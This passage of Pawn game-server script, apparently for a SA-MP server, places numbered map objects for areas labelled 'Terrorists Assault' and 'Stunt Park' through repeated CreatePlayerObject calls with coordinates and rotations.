    if(from<=151 && to>=151) PlayerObject[playerid][151] = CreatePlayerObject(playerid, 2653,-1828.44995117,1020.50000000,75.03527069,0.00000000,0.00000000,0.00000000);
    if(from<=152 && to>=152) PlayerObject[playerid][152] = CreatePlayerObject(playerid, 2653,-1828.45996094,1007.55572510,67.34673309,0.00000000,0.00000000,0.00000000);
    if(from<=153 && to>=153) PlayerObject[playerid][153] = CreatePlayerObject(playerid, 2649,-1828.09191895,1013.15844727,67.57648468,0.00000000,0.00000000,90.00000000);
    if(from<=154 && to>=154) PlayerObject[playerid][154] = CreatePlayerObject(playerid, 1697,-1822.45300293,1033.74621582,77.56282043,0.00000000,0.00000000,0.00000000);
    if(from<=155 && to>=155) PlayerObject[playerid][155] = CreatePlayerObject(playerid, 1697,-1809.08496094,1033.81640625,77.56282043,0.00000000,0.00000000,0.00000000);
    if(from<=156 && to>=156) PlayerObject[playerid][156] = CreatePlayerObject(playerid, 1697,-1815.72460938,1033.75781250,77.56282043,0.00000000,0.00000000,0.00000000);
    if(from<=157 && to>=157) PlayerObject[playerid][157] = CreatePlayerObject(playerid, 2649,-1828.19177246,1005.35937500,72.54342651,0.00000000,0.00000000,90.00000000);
    if(from<=158 && to>=158) PlayerObject[playerid][158] = CreatePlayerObject(playerid, 1391,-1788.33312988,1041.08239746,63.21483231,0.00000000,0.00000000,0.00000000);
    if(from<=159 && to>=159) PlayerObject[playerid][159] = CreatePlayerObject(playerid, 1388,-1788.17382812,1041.15234375,75.69999695,0.00000000,0.00000000,111.99462891);
    if(from<=160 && to>=160) PlayerObject[playerid][160] = CreatePlayerObject(playerid, 1697,-1866.57299805,1023.85687256,84.26042175,0.00000000,0.00000000,0.00000000);
    if(from<=161 && to>=161) PlayerObject[playerid][161] = CreatePlayerObject(playerid, 1697,-1811.21875000,1009.37792969,90.10969543,0.00000000,0.00000000,0.00000000);
    if(from<=162 && to>=162) PlayerObject[playerid][162] = CreatePlayerObject(playerid, 1697,-1818.05175781,1009.29492188,90.10969543,0.00000000,0.00000000,0.00000000);
    if(from<=163 && to>=163) PlayerObject[playerid][163] = CreatePlayerObject(playerid, 1697,-1866.20910645,1032.66760254,84.26902771,0.00000000,0.00000000,0.00000000);
    if(from<=164 && to>=164) PlayerObject[playerid][164] = CreatePlayerObject(playerid, 1697,-1858.09179688,1024.05957031,84.26062012,0.00000000,0.00000000,0.00000000);
    if(from<=165 && to>=165) PlayerObject[playerid][165] = CreatePlayerObject(playerid, 1697,-1858.10449219,1032.78125000,84.26913452,0.00000000,0.00000000,0.00000000);
    if(from<=166 && to>=166) PlayerObject[playerid][166] = CreatePlayerObject(playerid, 1438,-1765.48596191,1033.90954590,87.29687500,0.00000000,0.00000000,300.00000000);
    if(from<=167 && to>=167) PlayerObject[playerid][167] = CreatePlayerObject(playerid, 1438,-1766.11328125,1046.30102539,87.29687500,0.00000000,0.00000000,359.99816895);
    if(from<=168 && to>=168) PlayerObject[playerid][168] = CreatePlayerObject(playerid, 1438,-1764.31005859,1045.96997070,87.29687500,0.00000000,0.00000000,177.99450684);
    if(from<=169 && to>=169) PlayerObject[playerid][169] = CreatePlayerObject(playerid, 1697,-1760.64147949,1044.22387695,88.89875793,0.00000000,0.00000000,0.00000000);
    if(from<=170 && to>=170) PlayerObject[playerid][170] = CreatePlayerObject(playerid, 1697,-1754.53613281,1044.41503906,88.89875793,0.00000000,0.00000000,0.00000000);
    if(from<=171 && to>=171) PlayerObject[playerid][171] = CreatePlayerObject(playerid, 1617,-1850.27770996,1043.36450195,93.18332672,0.00000000,0.00000000,90.00000000);
    if(from<=172 && to>=172) PlayerObject[playerid][172] = CreatePlayerObject(playerid, 1617,-1853.12219238,1043.36450195,89.36650848,0.00000000,0.00000000,90.00000000);
    if(from<=173 && to>=173) PlayerObject[playerid][173] = CreatePlayerObject(playerid, 1617,-1856.30126953,1043.36450195,89.35523987,0.00000000,0.00000000,90.00000000);
    if(from<=174 && to>=174) PlayerObject[playerid][174] = CreatePlayerObject(playerid, 1617,-1858.32092285,1043.36450195,84.85105133,0.00000000,0.00000000,90.00000000);
    if(from<=175 && to>=175) PlayerObject[playerid][175] = CreatePlayerObject(playerid, 1617,-1854.71618652,1043.36450195,89.35769653,0.00000000,0.00000000,90.00000000);
    if(from<=176 && to>=176) PlayerObject[playerid][176] = CreatePlayerObject(playerid, 1617,-1844.85473633,1043.36450195,99.02667236,0.00000000,0.00000000,90.00000000);
    if(from<=177 && to>=177) PlayerObject[playerid][177] = CreatePlayerObject(playerid, 1617,-1849.17639160,1043.36450195,98.99904633,0.00000000,0.00000000,90.00000000);
    if(from<=178 && to>=178) PlayerObject[playerid][178] = CreatePlayerObject(playerid, 1617,-1851.87268066,1043.36450195,93.19051361,0.00000000,0.00000000,90.00000000);
    if(from<=179 && to>=179) PlayerObject[playerid][179] = CreatePlayerObject(playerid, 1617,-1827.62011719,983.74902344,79.80484009,0.00000000,0.00000000,270.00000000);
    if(from<=180 && to>=180) PlayerObject[playerid][180] = CreatePlayerObject(playerid, 1617,-1829.24902344,983.74902344,79.81427002,0.00000000,0.00000000,270.00000000);
    if(from<=181 && to>=181) PlayerObject[playerid][181] = CreatePlayerObject(playerid, 1617,-1823.89453125,983.74902344,82.68663025,0.00000000,0.00000000,270.00000000);
    if(from<=182 && to>=182) PlayerObject[playerid][182] = CreatePlayerObject(playerid, 1267,-1813.85998535,974.63433838,80.84649658,0.00000000,0.00000000,167.99743652);
    if(from<=183 && to>=183) PlayerObject[playerid][183] = CreatePlayerObject(playerid, 1697,-1824.98925781,989.28222656,77.74411011,0.00000000,0.00000000,0.00000000);
    if(from<=184 && to>=184) PlayerObject[playerid][184] = CreatePlayerObject(playerid, 1697,-1816.53222656,988.55462646,77.74411011,0.00000000,0.00000000,0.00000000);
    if(from<=185 && to>=185) PlayerObject[playerid][185] = CreatePlayerObject(playerid, 1697,-1808.99609375,988.12109375,77.74411011,0.00000000,0.00000000,0.00000000);
    if(from<=186 && to>=186) PlayerObject[playerid][186] = CreatePlayerObject(playerid, 3109,-1813.26806641,1003.74462891,77.33380127,0.00000000,0.00000000,90.00000000);
    if(from<=187 && to>=187) PlayerObject[playerid][187] = CreatePlayerObject(playerid, 16304,-1791.16503906,1033.34375000,31.46565056,339.99938965,339.99938965,129.99572754);
    if(from<=188 && to>=188) PlayerObject[playerid][188] = CreatePlayerObject(playerid, 16304,-1796.18750000,1025.47070312,29.16300583,0.00000000,0.00000000,129.99572754);
    if(from<=189 && to>=189) PlayerObject[playerid][189] = CreatePlayerObject(playerid, 3578,-1787.15881348,989.41979980,24.51240921,0.00000000,0.00000000,0.00000000);
    if(from<=190 && to>=190) PlayerObject[playerid][190] = CreatePlayerObject(playerid, 3578,-1801.18872070,997.25830078,24.51240921,0.00000000,0.00000000,0.00000000);
    if(from<=191 && to>=191) PlayerObject[playerid][191] = CreatePlayerObject(playerid, 3578,-1801.34045410,1057.04772949,36.74051285,0.00000000,0.00000000,0.00000000);
    if(from<=192 && to>=192) PlayerObject[playerid][192] = CreatePlayerObject(playerid, 3578,-1788.32385254,1055.15954590,35.97309494,0.00000000,0.00000000,0.00000000);
    if(from<=193 && to>=193) PlayerObject[playerid][193] = CreatePlayerObject(playerid, 1421,-1809.90783691,982.23999023,83.06999969,0.00000000,0.00000000,337.99987793);
    if(from<=194 && to>=194) PlayerObject[playerid][194] = CreatePlayerObject(playerid, 1421,-1817.44433594,968.54687500,83.06999969,0.00000000,0.00000000,209.99816895);
    if(from<=195 && to>=195) PlayerObject[playerid][195] = CreatePlayerObject(playerid, 1221,-1816.77380371,976.73516846,82.76922607,0.00000000,0.00000000,77.99035645);
    if(from<=196 && to>=196) PlayerObject[playerid][196] = CreatePlayerObject(playerid, 1617,-1859.95532227,1043.36450195,84.82128906,0.00000000,0.00000000,90.00000000);
    if(from<=197 && to>=197) PlayerObject[playerid][197] = CreatePlayerObject(playerid, 4100,-1951.75000000,972.14001465,53.16999817,0.00000000,0.00000000,50.00000000);
    if(from<=198 && to>=198) PlayerObject[playerid][198] = CreatePlayerObject(playerid, 4100,-1932.27502441,965.00000000,53.16999817,0.00000000,0.00000000,139.99877930);
    if(from<=199 && to>=199) PlayerObject[playerid][199] = CreatePlayerObject(playerid, 4100,-1945.17004395,965.00000000,56.00000000,0.00000000,0.00000000,139.99877930);
    if(from<=200 && to>=200) PlayerObject[playerid][200] = CreatePlayerObject(playerid, 16337,-1940.26269531,964.88085938,53.40915680,0.00000000,0.00000000,90.00000000);
    if(from<=201 && to>=201) PlayerObject[playerid][201] = CreatePlayerObject(playerid, 1696,-1929.23693848,960.66613770,54.37473297,0.00000000,0.00000000,0.00000000);
    if(from<=202 && to>=202) PlayerObject[playerid][202] = CreatePlayerObject(playerid, 4100,-1951.75000000,972.13964844,56.00000000,0.00000000,0.00000000,49.99877930);
    if(from<=203 && to>=203) PlayerObject[playerid][203] = CreatePlayerObject(playerid, 4100,-1945.16992188,965.00000000,53.16999817,0.00000000,0.00000000,139.99877930);
    if(from<=204 && to>=204) PlayerObject[playerid][204] = CreatePlayerObject(playerid, 1696,-1983.61584473,977.89550781,58.81972885,0.00000000,0.00000000,0.00000000);
    if(from<=205 && to>=205) PlayerObject[playerid][205] = CreatePlayerObject(playerid, 1696,-1961.73840332,987.24163818,58.81972885,0.00000000,0.00000000,0.00000000);
    if(from<=206 && to>=206) PlayerObject[playerid][206] = CreatePlayerObject(playerid, 1696,-1973.07897949,981.94097900,58.81972885,0.00000000,0.00000000,0.00000000);
    if(from<=207 && to>=207) PlayerObject[playerid][207] = CreatePlayerObject(playerid, 1259,-1917.99023438,1002.67285156,55.00000000,0.00000000,0.00000000,90.00000000);
    if(from<=208 && to>=208) PlayerObject[playerid][208] = CreatePlayerObject(playerid, 1299,-1925.84692383,1001.82623291,58.13554764,0.00000000,0.00000000,0.00000000);
    if(from<=209 && to>=209) PlayerObject[playerid][209] = CreatePlayerObject(playerid, 1464,-1915.34997559,1004.12786865,62.64215088,0.00000000,0.00000000,180.00000000);
    if(from<=210 && to>=210) PlayerObject[playerid][210] = CreatePlayerObject(playerid, 1464,-1912.54687500,1004.12695312,62.64215088,0.00000000,0.00000000,179.99450684);
    if(from<=211 && to>=211) PlayerObject[playerid][211] = CreatePlayerObject(playerid, 1473,-1917.48645020,1004.16357422,63.02000046,18.00000000,0.00000000,270.00000000);
    if(from<=212 && to>=212) PlayerObject[playerid][212] = CreatePlayerObject(playerid, 1473,-1918.66003418,1004.21972656,61.97048187,17.99560547,0.00000000,270.00000000);
    if(from<=213 && to>=213) PlayerObject[playerid][213] = CreatePlayerObject(playerid, 4100,-1932.27441406,965.00000000,56.00000000,0.00000000,0.00000000,139.99877930);
    if(from<=214 && to>=214) PlayerObject[playerid][214] = CreatePlayerObject(playerid, 1697,-1928.47912598,1032.24108887,68.60969543,0.00000000,0.00000000,213.00000000);
    if(from<=215 && to>=215) PlayerObject[playerid][215] = CreatePlayerObject(playerid, 1697,-1914.48474121,1032.93261719,68.60969543,0.00000000,0.00000000,213.00000000);
    if(from<=216 && to>=216) PlayerObject[playerid][216] = CreatePlayerObject(playerid, 1697,-1914.88171387,1016.72735596,68.60969543,0.00000000,0.00000000,213.00000000);
    if(from<=217 && to>=217) PlayerObject[playerid][217] = CreatePlayerObject(playerid, 1697,-1929.14526367,1016.54071045,68.60969543,0.00000000,0.00000000,213.00000000);
    if(from<=218 && to>=218) PlayerObject[playerid][218] = CreatePlayerObject(playerid, 1688,-1912.61840820,1009.58892822,68.03059387,0.00000000,0.00000000,180.00000000);
    if(from<=219 && to>=219) PlayerObject[playerid][219] = CreatePlayerObject(playerid, 4602,-1973.16503906,1023.89166260,137.39999390,0.00000000,0.00000000,0.00000000);
    if(from<=220 && to>=220) PlayerObject[playerid][220] = CreatePlayerObject(playerid, 1421,-1817.06958008,966.92327881,83.06999969,0.00000000,0.00000000,209.99816895);
    if(from<=221 && to>=221) PlayerObject[playerid][221] = CreatePlayerObject(playerid, 1421,-1817.25793457,967.74627686,84.18000031,90.00000000,0.00000000,75.99816895);
    if(from<=222 && to>=222) PlayerObject[playerid][222] = CreatePlayerObject(playerid, 1251,-1906.28405762,1004.30621338,57.91718292,0.00000000,0.00000000,324.00000000);
    if(from<=223 && to>=223) PlayerObject[playerid][223] = CreatePlayerObject(playerid, 5820,-1829.04980469,961.00000000,91.23000336,0.00000000,0.00000000,90.00000000);
    if(from<=224 && to>=224) PlayerObject[playerid][224] = CreatePlayerObject(playerid, 1697,-1811.89233398,979.83178711,73.50813293,0.00000000,0.00000000,270.00000000);
    if(from<=225 && to>=225) PlayerObject[playerid][225] = CreatePlayerObject(playerid, 1697,-1812.16198730,968.78192139,73.50813293,0.00000000,0.00000000,270.00000000);
    if(from<=226 && to>=226) PlayerObject[playerid][226] = CreatePlayerObject(playerid, 2971,-1779.03894043,1042.12121582,76.43750000,0.00000000,0.00000000,356.00000000);
    if(from<=227 && to>=227) PlayerObject[playerid][227] = CreatePlayerObject(playerid, 2947,-1830.96374512,950.41058350,88.07331848,0.00000000,0.00000000,0.00000000);
    if(from<=228 && to>=228) PlayerObject[playerid][228] = CreatePlayerObject(playerid, 2931,-1831.28503418,982.84997559,93.02500153,208.00000000,180.00000000,6.00000000);
    // Terrorists Assault
    if(from<=229 && to>=229) PlayerObject[playerid][229] = CreatePlayerObject(playerid, 2952,-2225.27490234,633.29278564,54.14576721,0.00000000,0.00000000,0.00000000);
    if(from<=230 && to>=230) PlayerObject[playerid][230] = CreatePlayerObject(playerid, 2952,-2208.84692383,692.99981689,49.71073151,0.00000000,0.00000000,0.00000000);
    if(from<=231 && to>=231) PlayerObject[playerid][231] = CreatePlayerObject(playerid, 5821,-2220.78491211,639.44000244,50.16350174,0.00000000,0.00000000,268.29998779);
    if(from<=232 && to>=232) PlayerObject[playerid][232] = CreatePlayerObject(playerid, 1440,-2218.69873047,636.64978027,54.46648788,0.00000000,0.00000000,350.00000000);
    if(from<=233 && to>=233) PlayerObject[playerid][233] = CreatePlayerObject(playerid, 1344,-2178.85766602,687.90509033,53.69884491,0.00000000,0.00000000,90.00000000);
    if(from<=234 && to>=234) PlayerObject[playerid][234] = CreatePlayerObject(playerid, 1344,-2178.80664062,684.54357910,53.69884491,0.00000000,0.00000000,88.76400757);
    if(from<=235 && to>=235) PlayerObject[playerid][235] = CreatePlayerObject(playerid, 1344,-2178.83666992,690.02514648,53.69884491,0.00000000,0.00000000,90.00000000);
    if(from<=236 && to>=236) PlayerObject[playerid][236] = CreatePlayerObject(playerid, 1225,-2173.44409180,660.67303467,48.84325409,0.00000000,0.00000000,0.00000000);
    if(from<=237 && to>=237) PlayerObject[playerid][237] = CreatePlayerObject(playerid, 1355,-2178.97583008,657.93505859,48.63446808,0.00000000,0.00000000,346.00000000);
    if(from<=238 && to>=238) PlayerObject[playerid][238] = CreatePlayerObject(playerid, 1349,-2185.40576172,640.14184570,49.00788498,0.00000000,0.00000000,50.00000000);
    if(from<=239 && to>=239) PlayerObject[playerid][239] = CreatePlayerObject(playerid, 1421,-2195.00146484,647.41442871,49.20006561,0.00000000,0.00000000,330.00000000);
    if(from<=240 && to>=240) PlayerObject[playerid][240] = CreatePlayerObject(playerid, 3046,-2189.29760742,646.61895752,48.82350540,0.00000000,0.00000000,348.00000000);
    if(from<=241 && to>=241) PlayerObject[playerid][241] = CreatePlayerObject(playerid, 3046,-2189.96240234,644.21740723,48.82350540,0.00000000,0.00000000,27.99743652);
    if(from<=242 && to>=242) PlayerObject[playerid][242] = CreatePlayerObject(playerid, 1225,-2209.82421875,628.14178467,48.84153366,0.00000000,90.00000000,328.00000000);
    if(from<=243 && to>=243) PlayerObject[playerid][243] = CreatePlayerObject(playerid, 2971,-2224.08886719,635.72430420,53.94193649,0.00000000,0.00000000,0.00000000);
    if(from<=244 && to>=244) PlayerObject[playerid][244] = CreatePlayerObject(playerid, 2937,-2225.59008789,640.95501709,61.98951340,0.00000000,0.00000000,0.00000000);
    if(from<=245 && to>=245) PlayerObject[playerid][245] = CreatePlayerObject(playerid, 2937,-2225.58984375,643.48272705,61.98951340,0.00000000,0.00000000,0.00000000);
    if(from<=246 && to>=246) PlayerObject[playerid][246] = CreatePlayerObject(playerid, 1225,-2208.16357422,577.99835205,34.57762909,0.00000000,0.00000000,327.99682617);
    if(from<=247 && to>=247) PlayerObject[playerid][247] = CreatePlayerObject(playerid, 1225,-2241.13476562,641.58398438,48.85418701,0.00000000,0.00000000,327.99682617);
    if(from<=248 && to>=248) PlayerObject[playerid][248] = CreatePlayerObject(playerid, 1421,-2242.47070312,641.78839111,49.21549225,0.00000000,0.00000000,24.00000000);
    if(from<=249 && to>=249) PlayerObject[playerid][249] = CreatePlayerObject(playerid, 1225,-2239.98339844,641.70507812,48.85403824,0.00000000,0.00000000,327.99682617);
    // Stunt Park
    if(from<=(0+250) && to>=(0+250)) PlayerObject[playerid][(0+250)] = CreatePlayerObject(playerid, 8661,320.09960938,-3500.00000000,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(1+250) && to>=(1+250)) PlayerObject[playerid][(1+250)] = CreatePlayerObject(playerid, 8661,320.17498779,-3519.94921875,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(2+250) && to>=(2+250)) PlayerObject[playerid][(2+250)] = CreatePlayerObject(playerid, 8661,320.09960938,-3539.89941406,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(3+250) && to>=(3+250)) PlayerObject[playerid][(3+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3510.12500000,290.04998779,270.00000000,0.00000000,179.99450684);
    if(from<=(4+250) && to>=(4+250)) PlayerObject[playerid][(4+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3539.89941406,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(5+250) && to>=(5+250)) PlayerObject[playerid][(5+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3539.89941406,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(6+250) && to>=(6+250)) PlayerObject[playerid][(6+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3500.00000000,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(7+250) && to>=(7+250)) PlayerObject[playerid][(7+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3519.94921875,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(8+250) && to>=(8+250)) PlayerObject[playerid][(8+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3539.89941406,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(9+250) && to>=(9+250)) PlayerObject[playerid][(9+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3559.84960938,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(10+250) && to>=(10+250)) PlayerObject[playerid][(10+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3559.84960938,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(11+250) && to>=(11+250)) PlayerObject[playerid][(11+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3559.84960938,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(12+250) && to>=(12+250)) PlayerObject[playerid][(12+250)] = CreatePlayerObject(playerid, 8661,320.09960938,-3559.84960938,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(13+250) && to>=(13+250)) PlayerObject[playerid][(13+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3579.79980469,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(14+250) && to>=(14+250)) PlayerObject[playerid][(14+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3559.84960938,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(15+250) && to>=(15+250)) PlayerObject[playerid][(15+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3579.79980469,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(16+250) && to>=(16+250)) PlayerObject[playerid][(16+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3539.89941406,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(17+250) && to>=(17+250)) PlayerObject[playerid][(17+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3500.14135742,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(18+250) && to>=(18+250)) PlayerObject[playerid][(18+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3500.14135742,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(19+250) && to>=(19+250)) PlayerObject[playerid][(19+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3519.94921875,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(20+250) && to>=(20+250)) PlayerObject[playerid][(20+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3500.00000000,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(21+250) && to>=(21+250)) PlayerObject[playerid][(21+250)] = CreatePlayerObject(playerid, 8661,320.09960938,-3579.79980469,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(22+250) && to>=(22+250)) PlayerObject[playerid][(22+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3579.79980469,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(23+250) && to>=(23+250)) PlayerObject[playerid][(23+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3579.79980469,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(24+250) && to>=(24+250)) PlayerObject[playerid][(24+250)] = CreatePlayerObject(playerid, 1309,448.79205322,-3581.08642578,312.67178345,0.00000000,0.00000000,90.00000000);
    if(from<=(25+250) && to>=(25+250)) PlayerObject[playerid][(25+250)] = CreatePlayerObject(playerid, 1259,486.92382812,-3505.88671875,315.33432007,0.00000000,0.00000000,0.00000000);
    if(from<=(26+250) && to>=(26+250)) PlayerObject[playerid][(26+250)] = CreatePlayerObject(playerid, 1634,451.43765259,-3526.58471680,301.29733276,0.00000000,0.00000000,270.00000000);
    if(from<=(27+250) && to>=(27+250)) PlayerObject[playerid][(27+250)] = CreatePlayerObject(playerid, 1634,457.00000000,-3526.34106445,306.00000000,30.00000000,345.00000000,270.00000000);
    if(from<=(28+250) && to>=(28+250)) PlayerObject[playerid][(28+250)] = CreatePlayerObject(playerid, 2931,486.54879761,-3515.61889648,318.01400757,0.00000000,0.00000000,180.00000000);
    if(from<=(29+250) && to>=(29+250)) PlayerObject[playerid][(29+250)] = CreatePlayerObject(playerid, 5152,484.79998779,-3501.80004883,317.79998779,0.00000000,24.00000000,90.00000000);
    if(from<=(30+250) && to>=(30+250)) PlayerObject[playerid][(30+250)] = CreatePlayerObject(playerid, 1309,486.38281250,-3551.81835938,312.67178345,0.00000000,0.00000000,344.99816895);
    if(from<=(31+250) && to>=(31+250)) PlayerObject[playerid][(31+250)] = CreatePlayerObject(playerid, 5153,480.10000610,-3564.80004883,317.00000000,330.00000000,60.00000000,75.00000000);
    if(from<=(32+250) && to>=(32+250)) PlayerObject[playerid][(32+250)] = CreatePlayerObject(playerid, 1309,433.69967651,-3549.00000000,312.67178345,0.00000000,0.00000000,45.00000000);
    if(from<=(33+250) && to>=(33+250)) PlayerObject[playerid][(33+250)] = CreatePlayerObject(playerid, 5153,441.88803101,-3580.30004883,317.49185181,315.00000000,40.00000000,348.00000000);
    if(from<=(34+250) && to>=(34+250)) PlayerObject[playerid][(34+250)] = CreatePlayerObject(playerid, 5153,438.39999390,-3577.00000000,318.54998779,299.99816895,49.99877930,300.00000000);
    if(from<=(35+250) && to>=(35+250)) PlayerObject[playerid][(35+250)] = CreatePlayerObject(playerid, 5153,439.09960938,-3578.00000000,318.25000000,299.99816895,49.99877930,324.99755859);
    if(from<=(36+250) && to>=(36+250)) PlayerObject[playerid][(36+250)] = CreatePlayerObject(playerid, 8661,320.09960938,-3480.05004883,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(37+250) && to>=(37+250)) PlayerObject[playerid][(37+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3480.16748047,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(38+250) && to>=(38+250)) PlayerObject[playerid][(38+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3480.16748047,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(39+250) && to>=(39+250)) PlayerObject[playerid][(39+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3480.05004883,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(40+250) && to>=(40+250)) PlayerObject[playerid][(40+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3480.05004883,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(41+250) && to>=(41+250)) PlayerObject[playerid][(41+250)] = CreatePlayerObject(playerid, 8661,360.04980469,-3530.00000000,290.04998779,269.99450684,0.00000000,0.00000000);
    if(from<=(42+250) && to>=(42+250)) PlayerObject[playerid][(42+250)] = CreatePlayerObject(playerid, 8661,400.00000000,-3530.00000000,290.04998779,269.99450684,0.00000000,0.00000000);
    if(from<=(43+250) && to>=(43+250)) PlayerObject[playerid][(43+250)] = CreatePlayerObject(playerid, 8661,484.89941406,-3509.89990234,290.04998779,270.00000000,0.00000000,179.99450684);
    if(from<=(44+250) && to>=(44+250)) PlayerObject[playerid][(44+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3530.00000000,290.04998779,269.99450684,0.00000000,0.00000000);
    if(from<=(45+250) && to>=(45+250)) PlayerObject[playerid][(45+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3510.12500000,290.04998779,270.00000000,0.00000000,179.99450684);
    if(from<=(46+250) && to>=(46+250)) PlayerObject[playerid][(46+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3530.00000000,290.04998779,269.99450684,0.00000000,0.00000000);
    if(from<=(47+250) && to>=(47+250)) PlayerObject[playerid][(47+250)] = CreatePlayerObject(playerid, 8661,484.89941406,-3530.05004883,290.04998779,269.99450684,0.00000000,0.00000000);
    if(from<=(48+250) && to>=(48+250)) PlayerObject[playerid][(48+250)] = CreatePlayerObject(playerid, 8661,479.89941406,-3510.12500000,290.04998779,270.00000000,0.00000000,179.99450684);
    if(from<=(49+250) && to>=(49+250)) PlayerObject[playerid][(49+250)] = CreatePlayerObject(playerid, 8661,504.85000610,-3520.04980469,290.04998779,269.00000000,0.00000000,90.00000000);
    if(from<=(50+250) && to>=(50+250)) PlayerObject[playerid][(50+250)] = CreatePlayerObject(playerid, 8661,340.00000000,-3520.00000000,290.04998779,269.00000000,0.00000000,270.00000000);
    if(from<=(51+250) && to>=(51+250)) PlayerObject[playerid][(51+250)] = CreatePlayerObject(playerid, 8661,439.94921875,-3520.03247070,300.00000000,0.00000000,179.99450684,0.00000000);
    if(from<=(52+250) && to>=(52+250)) PlayerObject[playerid][(52+250)] = CreatePlayerObject(playerid, 8661,479.89999390,-3520.03247070,300.00000000,0.00000000,179.99450684,0.00000000);
    if(from<=(53+250) && to>=(53+250)) PlayerObject[playerid][(53+250)] = CreatePlayerObject(playerid, 4563,444.00000000,-3441.04980469,343.00000000,179.99450684,90.00000000,179.99450684);
    if(from<=(54+250) && to>=(54+250)) PlayerObject[playerid][(54+250)] = CreatePlayerObject(playerid, 8661,502.29998779,-3520.00000000,289.00000000,285.00000000,0.00000000,90.00000000);
    if(from<=(55+250) && to>=(55+250)) PlayerObject[playerid][(55+250)] = CreatePlayerObject(playerid, 8661,493.00000000,-3520.00000000,286.39999390,345.00000000,0.00000000,90.00000000);
    if(from<=(56+250) && to>=(56+250)) PlayerObject[playerid][(56+250)] = CreatePlayerObject(playerid, 8661,497.00000000,-3520.00000000,287.00000000,314.99450684,0.00000000,90.00000000);
    if(from<=(57+250) && to>=(57+250)) PlayerObject[playerid][(57+250)] = CreatePlayerObject(playerid, 8661,493.00000000,-3520.00000000,287.00000000,334.99511719,0.00000000,90.00000000);
    if(from<=(58+250) && to>=(58+250)) PlayerObject[playerid][(58+250)] = CreatePlayerObject(playerid, 8661,514.67578125,-3540.00000000,300.03201294,0.00000000,0.00000000,90.00000000);
    if(from<=(59+250) && to>=(59+250)) PlayerObject[playerid][(59+250)] = CreatePlayerObject(playerid, 8661,514.67578125,-3500.05004883,300.03201294,0.00000000,0.00000000,90.00000000);
    if(from<=(60+250) && to>=(60+250)) PlayerObject[playerid][(60+250)] = CreatePlayerObject(playerid, 8661,504.67578125,-3490.10009766,299.97500610,0.00000000,0.00000000,90.00000000);
    if(from<=(61+250) && to>=(61+250)) PlayerObject[playerid][(61+250)] = CreatePlayerObject(playerid, 8661,504.67578125,-3550.00000000,299.97500610,0.00000000,0.00000000,90.00000000);
    if(from<=(62+250) && to>=(62+250)) PlayerObject[playerid][(62+250)] = CreatePlayerObject(playerid, 1251,401.05352783,-3515.52905273,300.16717529,0.00000000,0.00000000,0.00000000);
    if(from<=(63+250) && to>=(63+250)) PlayerObject[playerid][(63+250)] = CreatePlayerObject(playerid, 1251,401.03164673,-3524.44873047,300.16717529,0.00000000,0.00000000,0.00000000);
    if(from<=(64+250) && to>=(64+250)) PlayerObject[playerid][(64+250)] = CreatePlayerObject(playerid, 1632,333.12655640,-3519.38769531,301.30010986,0.00000000,0.00000000,270.00000000);
    if(from<=(65+250) && to>=(65+250)) PlayerObject[playerid][(65+250)] = CreatePlayerObject(playerid, 8661,280.20001221,-3519.94921875,300.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(66+250) && to>=(66+250)) PlayerObject[playerid][(66+250)] = CreatePlayerObject(playerid, 8661,240.21499634,-3519.94921875,300.00000000,0.00000000,0.00000000,0.00000000);
